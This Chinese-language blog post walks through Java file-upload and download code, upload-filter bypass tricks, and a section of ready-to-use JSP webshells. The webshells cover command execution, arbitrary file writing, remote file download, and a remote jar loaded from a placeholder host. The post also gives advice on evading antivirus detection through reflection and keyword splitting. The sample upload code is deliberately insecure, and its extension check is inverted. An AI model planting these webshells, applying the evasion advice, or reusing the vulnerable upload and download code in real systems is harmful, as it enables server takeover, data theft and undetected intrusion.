JAVA文件上传漏洞

1. JAVA文件上传

Java上传依靠apache的common-fileupload.jar组件,该组件依赖于commons-io.jar,无论是Servlet还是SpringMVC都依靠这两个文件

1.1 jsp和servlet方式

public void ImgUploadServlet(HttpServletRequest request,HttpServletResponse response) throws Exception {
        request.setCharacterEncoding("utf-8");
        response.setCharacterEncoding("utf-8");
        response.setContentType("text/html;charset=UTF-8");
        boolean isMultipart= ServletFileUpload.isMultipartContent(request);
        if (isMultipart){//判断前台form是否有Mutipart属性
            DiskFileItemFactory fileItemFactory=new DiskFileItemFactory();
            ServletFileUpload upload=new ServletFileUpload(fileItemFactory);
 
            //设置上传文件时用到的临时文件-DiskFileItemFactory
            fileItemFactory.setSizeThreshold(1024*10);//设置临时缓冲文件大小10kb
            fileItemFactory.setRepository(new File("E:\\Bug_Demo\\xxe-lab-master\\ssm02_18\\target\\ssm02_18\\temp_upload"));//设置临时文件目录
            upload.setSizeMax(1024*30);//字节B

            //解析form中所有字段保存到items集合中
            List items=upload.parseRequest(request);//文件解析
            //遍历items中的数据
            Iterator iterator=items.iterator();
            while (iterator.hasNext()){
                FileItem item=iterator.next();
                String itemName=item.getFieldName();//getFileName获取普通表单字段name值
                int sno=-1;
                String sname=null;
                //判断前台字段是普通form表单字段还是文件字段
                if(item.isFormField()){//request.getParameter -- iter.getString
                    if (itemName.equals("sno")){//根据name属性判断item是哪个字段
                        sno=Integer.parseInt(item.getString());
                    }
                    else if(itemName.equals("sname")){
                        sname=item.getString();
                    }
                    else {
                        System.out.println("其他字段");
                    }
                }
                else {
                    String filename=item.getName();//getName()获取文件名
                    //判断文件类型
                    String ext=filename.substring(filename.indexOf('.')+1);
                    if (ext.equals("png") || ext.equals("gif") || ext.equals("jpg")){
                        System.out.println("图片格式有误!只能是png、gif、jpg");
                        return ;
                    }
                    //指定上传位置并上传
//                  String path=request.getSession().getServletContext().getRealPath("upload");
                    String path="E:\\Bug_Demo\\xxe-lab-master\\ssm02_18\\target\\ssm02_18\\upload";
                    File file=new File(path,filename);
                    item.write(file);//上传
                    System.out.println(filename+"上传成功");
                }
            }
        }
    }

getRealPath获取上传目录upload,可能会遇到文件夹不存在。因为,对代码进行修改后再重新启动tomcat时,tomcat会重新编译一份class并重新部署(重新创建各种目录),因此为防止上传目录丢失,可以设置虚拟路径或者直接更换上传目录到非tomcat目录。

文件下载:
下载不依赖任何jar,接收用户请求,将文件转为输入流读到Servlet然后通过输出流输出。

public void ImgDown(HttpServletRequest request,HttpServletResponse response) throws IOException {
        request.setCharacterEncoding("utf-8");
        //获取需要下载的文件名
        String filename=request.getParameter("filename");
        //下载文件需要设置两个消息头
        response.addHeader("content-Type","application/octet-stream");//二进制文件
        response.addHeader("content-Disposition","attachment;filename="+filename);//filename包含文件后缀
        //servlet通过文件地址将文件转为输入流读到Servlet
        InputStream inputStream=getServletContext().getResourceAsStream("E:\\Bug_Demo\\xxe-lab-master\\ssm02_18\\target\\ssm02_18\\upload\\a.PNG");
        //通过输出流将输入流转为文件输出
        ServletOutputStream servletOutputStream=response.getOutputStream();
        byte[] bytes=new byte[10];
        int len=-1;
        while((len=inputStream.read(bytes))!=-1){
            servletOutputStream.write(bytes,0,len);
        }
        servletOutputStream.close();
        inputStream.close();
    }

1.2 SpringMVC方式

MVC可以简化上传代码,但是必须满足条件,实现MultipartResolver接口。SpringMVC已经提供了该接口的实现类—CommonsMultipartResolver。
配置方式是,在web.xml引入前文提到的文件上传所需的两个jar包,然后在springmvc.xml中配置CommonsMultipartResolver类,将其加入IOC容器

    
    
        
        
        
    

MVC相比于servlet方式要简单很多,直接通过文件流来处理即可。form中的字段也不需要item来获取,直接通过@RequestParam获取。
a.FileOutputStream方式

@RequestMapping("/MVCUpload")
    public String MVCUpload(@RequestParam( "description" ) String description, @RequestParam("file") MultipartFile file) throws IOException {
        System.out.println("文件描述信息:"+description);
        InputStream inputStream=file.getInputStream();
        String fileName=file.getOriginalFilename();
        OutputStream outputStream=new FileOutputStream("E:\\Bug_Demo\\"+fileName);
        byte[] bytes=new byte[10];
        int len=-1;
        while((len=inputStream.read(bytes))!=-1){
            outputStream.write(bytes,0,len);
        }
        outputStream.close();
        inputStream.close();
        //将file上传到服务器中的某个硬件中
        System.out.println("文件上传成功");
        return "success";
    }

b.FileWrite方式

@RequestMapping("/MVCUpload_FileWriter")
    public void MVCUpload_FileWriter(@RequestParam( "description" ) String description, @RequestParam("file") MultipartFile file,HttpServletRequest request, HttpServletResponse response) throws IOException {
        System.out.println("文件描述信息:"+description);
        String filename=file.getOriginalFilename();
        File file1=new File("E:\\Bug_Demo\\"+filename);
        FileWriter fileWriter=new FileWriter("E:\\Bug_Demo\\"+filename);
        file.transferTo(file1);
        FileReader chr=new FileReader(file1);
        char []buf = new char[1024];
        int len = -1;
        if (filename!=null){
            String ext=filename.substring(filename.indexOf('.')+1);
            if (ext.equals("png") || ext.equals("gif") || ext.equals("jpg")){
                while ((len=chr.read(buf))!=-1){
                    fileWriter.write(buf,0,len);
                }
                System.out.println("文件上传成功");
            }
            else {
                System.out.println("文件格式有误!");
                response.sendRedirect(request.getContextPath());
            }
        }
        if (file1.isFile()) {
            file1.delete();
        }
        chr.close();
        fileWriter.close();
    }

c.PrintWriter方式
将上面FileWriter换成PrintWriter即可。

SpringMVC文件下载代码如下:

@RequestMapping("/MVCDownload")
    public void MVCDownload(@RequestParam( "filename" ) String filename,HttpServletRequest request,HttpServletResponse response) throws IOException {
        byte[] bytes=new byte[10];
        int len=-1;
        try{
            InputStream inputStream=new FileInputStream("E:\\Bug_Demo\\"+filename);
            response.setCharacterEncoding("utf-8");
            response.setContentType("text/html;charset=UTF-8");
            response.addHeader("content-Type","application/octet-stream");//二进制文件
            response.addHeader("content-Disposition","attachment;filename="+filename);
            while ((len=inputStream.read(bytes))>0){
                response.getOutputStream().write(bytes,0,len);
            }
            response.getOutputStream().close();
            inputStream.close();
        }
        catch (Exception e){
            e.printStackTrace();
        }
    }

前台下载链接如下

教程下载

由于下载功能并没有对filename参数值进行检查,因此也存在任意文件下载漏洞。用burp拦截,将filename换成服务器上的其他文件,如图,得到相应内容。


文件任意下载漏洞

2. 文件上传漏洞

文件上传漏洞指攻击者利用系统缺陷绕过对文件的验证和处理,将恶意文件上传到服务器并进行利用。常见利用方式包括上传配置文件、木马和病毒、包含脚本的图片等。

2.1 文件上传漏洞绕过方式

(1)js绕过


如上述js的前端判断,我们可以通过禁用js或者在burp中设置remove all javascript来绕过。

(2)后缀名绕过
Burpsuite截断HTTP请求,利用Intruder模块进行枚举后缀名,寻找黑名单中没有过滤的后缀名。接收HTTP请求,send to intruder,选中变量,在Payloads中加载相应的字典。

a.绕过黑名单
后缀名绕过可以分为大小写绕过、空格绕过、'.'点号绕过(windows系统下文件名最后一个点号会被自动去除)、特殊符号绕过(如在末尾添加::$DATA或:)、路径拼接绕过、双写绕过

b.绕过白名单
00截断(0x00是十六进制标识方法,是ascii码0为字符,在有些函数处理时,会把这个字符当作结束符。系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束)。1.jsp0x00.jpg 这个文件被认为是jpg文件,但服务器会忽略后面的jpg,认为是jsp文件。GET型00截断:GET型提交的内容会被自动进行URL转码,一定要关闭GPC,否则无法成功。POST型00截断:在POST请求中,%00不会被自动解码,需要在16进制中进行修改00。00截断的具体原理可以参考http://gv7.me/articles/2019/java-00-truncation-detail/
需要注意的是JAVA版本需要小于jdk 7u40,00截断才能生效。

3. jsp木马

3.1 知识补充

一般JSP文件利用JAVA反射机制和JAVA类加载机制构造系统命令执行后门,并绕过一般软件检测方法。

3.1.1 JAVA命令执行方法

JAVA执行系统命令主要有两个类来实现java.lang.Runtimejava.lang.ProcessBuilder,而这两个类都是对java.lang.Process抽象类的实现。

JAVA语言执行系统命令相关类和方法的调用关系

ProcessBuilder方法如下

ProcessBuilder pb=new ProcessBuilder(cmd); 
pb.start();

Runtime方法如下

Runtime.getRuntime().exec(cmd)

下面一些简单payload demo中,Runtime、exec等关键字都会被查杀软件检测到,所以可以使用ProcessBuilder类建立一个不会轻易被杀的命令执行后门。
一般常见的敏感词包含cmd、spy、exec、shell、execute、system、command等。可以通过拆解关键词来绕过。对于回显一般BufferefReader等常见手段也会被检测,可以使用Scanner等接收回显。fileSeparator可以用来判断操作系统类型。
制作好的jsp木马可以放入virustotal、shellpub.com、D盾、安全狗等进行检测,查看是否会被查杀。

3.1.2 JAVA反射机制

对于JAVA反射机制有一段官方描述:
Java Reflection makes it possible to inspect classes, interfaces, fields and methods at runtime, without knowing the names of the classes, methods etc. at compile time. It is also possible to instantiate new objects, invoke methods and get/set field values using reflection
利用反射机制来反射Runtime、ProcessBuilder、ProcessImpl来执行系统命令是绕过查杀的一种手段。

反射机制在运行状态中,对于任意一个类可以知道这个类所有的属性和方法,对于任意一个对象,能够调用它的任意一个方法和属性,还可以生成动态代理。java反射机制demo如下:
首先创建一个实现类

//reflectImpl.java
package org.example.service.impl;

import org.example.service.reflectInterface;

public class reflectImpl implements reflectInterface {
    private int id;
    private String name;
    private int age;
    public int getId() {
        return id;
    }
    public void setId(int id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public reflectImpl() {
    }
    public reflectImpl(int id) {
        this.id = id;
    }
    private reflectImpl(String name) {
        this.name = name;
    }
    public reflectImpl(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }
    @Override
    public void reflectInterfaceMethod() {
        System.out.println("interfaceMethod...");
    }
    public void staticReflectInterfaceMethod() {
        System.out.println("static interfaceMethod...");
    }
    private void privateReflectInterfaceMethod() {
        System.out.println("private interfaceMethod...");
    }
    private void privateMethod(String name) {
        System.out.println("private Method..."+name);
    }
}

反射相关方法调用实例如下:

package test;

import com.sun.xml.internal.bind.v2.model.core.ID;
import org.example.service.impl.reflectImpl;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;

public class reflect {
    //通过反射获取类
    public static void GetClass(){
        //获取反射对象(反射入口):class,三种方式
        //1.Class.forName(全类名)
        try{
            Class refClass=Class.forName("org.example.service.impl.reflectImpl");
            System.out.println(refClass);
        }
        catch (ClassNotFoundException e){
            e.printStackTrace();
        }
        //2.xx.class
        Class refClass2=reflectImpl.class;
        System.out.println(refClass2);
        //3.对象.getClass()
        reflectImpl ref1=new reflectImpl();
        Class refClass3=ref1.getClass();
        System.out.println(refClass3);
    }
    public static void GetMethod() throws IllegalAccessException, InstantiationException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {
        //先获取class入口
        Class refClass=null;
        try{
            refClass=Class.forName("org.example.service.impl.reflectImpl");
            System.out.println(refClass);
        }
        catch (ClassNotFoundException e){
            e.printStackTrace();
        }
        System.out.println("获取所有的公共方法");
        //获取所有的公共方法(本类、父类及接口中的所有方法并符合修饰符规律)
        Method[] methods=refClass.getMethods();
        for (Method method:methods){
            System.out.println(method);
        }

        //获取当前类的所有方法(限制于当前类,忽略访问修饰符限制)
        System.out.println("获取当前类的所有方法");
        Method[] methodsAll=refClass.getDeclaredMethods();
        for (Method method:methodsAll){
            System.out.println(method);
        }

        //获取所有的接口
        System.out.println("获取所有的接口");
        Class[] interfaces=refClass.getInterfaces();
        for (Class inter:interfaces){
            System.out.println(inter);
        }
        //获取所有父类
        System.out.println("获取所有父类");
        Class superclass=refClass.getSuperclass();
        System.out.println(superclass);
        //获取所有构造方法
        System.out.println("获取所有构造方法");
        Constructor[] constMethods=refClass.getConstructors();//如果是本类全部构造方法用getDeclaredConstructors
        for(Constructor constructor:constMethods){
            System.out.println(constructor);
        }
        //获取指定的构造方法
        Constructor constructor=refClass.getConstructor(int.class);
        System.out.println(constructor);
        //获取私有的构造方法
        Constructor privateconstructor=refClass.getDeclaredConstructor(String.class);
        System.out.println(privateconstructor);
        //构造方法可以创建对象
        reflectImpl instance=(reflectImpl) constructor.newInstance(5);//是否传参根据构造方法决定
        System.out.println(instance);
        //获取所有的公共属性
        System.out.println("获取所有的公共属性");
        Field[] fields=refClass.getFields();
        for (Field field:fields){
            System.out.println(field);
        }
        //获取所有的属性
        System.out.println("获取所有的属性");
        Field[] fieldsAll=refClass.getDeclaredFields();
        for (Field field:fieldsAll){
            System.out.println(field);
        }
        //获取当前反射所代表类(接口)的对象,并操作对象、属性
        System.out.println("获取当前反射所代表类(接口)的对象,并操作对象");
        Object newInstance=refClass.newInstance();
        reflectImpl ref1=(reflectImpl) newInstance;
        ref1.reflectInterfaceMethod();
        ref1.setId(1);
        ref1.setName("zhangsan");
        ref1.setAge(24);
        System.out.println(ref1.getId()+","+ref1.getName()+","+ref1.getAge());
        //操作属性
        Field IDfield=refClass.getDeclaredField("id");
        //id是private的,需要修改属性访问权限才能访问
        IDfield.setAccessible(true);
        IDfield.set(ref1,2);//ref1.setID(2)
        System.out.println(ref1.getId());
        //操作方法
        Method Method=refClass.getDeclaredMethod("privateReflectInterfaceMethod",null);
        Method.setAccessible(true);//访问private方法先改变权限
        Method.invoke(ref1,null);//方法调用:invoke
        //操作含参方法
        Method Methodarg=refClass.getDeclaredMethod("privateMethod",String.class);//类型.class为反射入口
        Methodarg.setAccessible(true);
        Methodarg.invoke(ref1,"zhangsan");

    }
    //反射可以越过泛型检查
    public static void crossCheck() throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
        ArrayList list=new ArrayList<>();
        Class listClass=list.getClass();
        Method method=listClass.getMethod("add",Object.class);//add方法参数设为Object
        method.invoke(list,"zhangsan");
        System.out.println(list);
    }

    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {
        GetMethod();
    }
}

3.2 jsp木马脚本

(1)命令执行
无回显

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

http://ip:port//upload/1.jsp?cmd=ls

有回显

<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>



    
        
        一句话木马
    

    
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("
");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("
"); } %>

http://ip:port//upload/1.jsp?pwd=admin&cmd=ls

(2)文件写入

<%
    // ISO-8859-1 输入
    new java.io.FileOutputStream(request.getParameter("file")).write(request.getParameter("content").getBytes());
    // UTF-8 输入
    new java.io.FileOutputStream(request.getParameter("file")).write(new String(request.getParameter("content").getBytes("ISO-8859-1"), "UTF-8").getBytes());
    // Web 目录写入
    new java.io.FileOutputStream(application.getRealPath("/") + "/" + request.getParameter("filename")).write(request.getParameter("content").getBytes());
    // 功能更加丰富的写入
    new java.io.RandomAccessFile(request.getParameter("file"),"rw").write(request.getParameter("content").getBytes());
%>

http://ip:port//upload/1.jsp?file=/User/wwwroot/1.txt&content=1234
http://ip:port//upload/1.jsp?file=1.txt&content=1234

(3)下载远程文件

<%
    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
    byte[] b = new byte[1024];
    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
    int a = -1;
    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }
    new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray());
//new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
%>

http://ip:port//upload/1.jsp?file=/User/wwwroot/1.txt&u=http:/content/file.txt

(4)反射调用外部jar

<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>

http://ip:port//upload/1.jsp?u=http://XXX/cat.jar&023=A
菜刀连接
http://ip:port//upload/1.jsp?u=http://XXX/cat.jar 023

4. 工具

上传漏洞Fuzz字典生成脚本
https://github.com/c0ny1/upload-fuzz-dic-builder
jsp webshell
https://github.com/LandGrey/webshell-detect-bypass/tree/master/webshell/jsp
jsp webshell bypass
https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/using-java-reflection-and-ClassLoader-bypass-webshell-detection.md

你可能感兴趣的:(JAVA文件上传漏洞)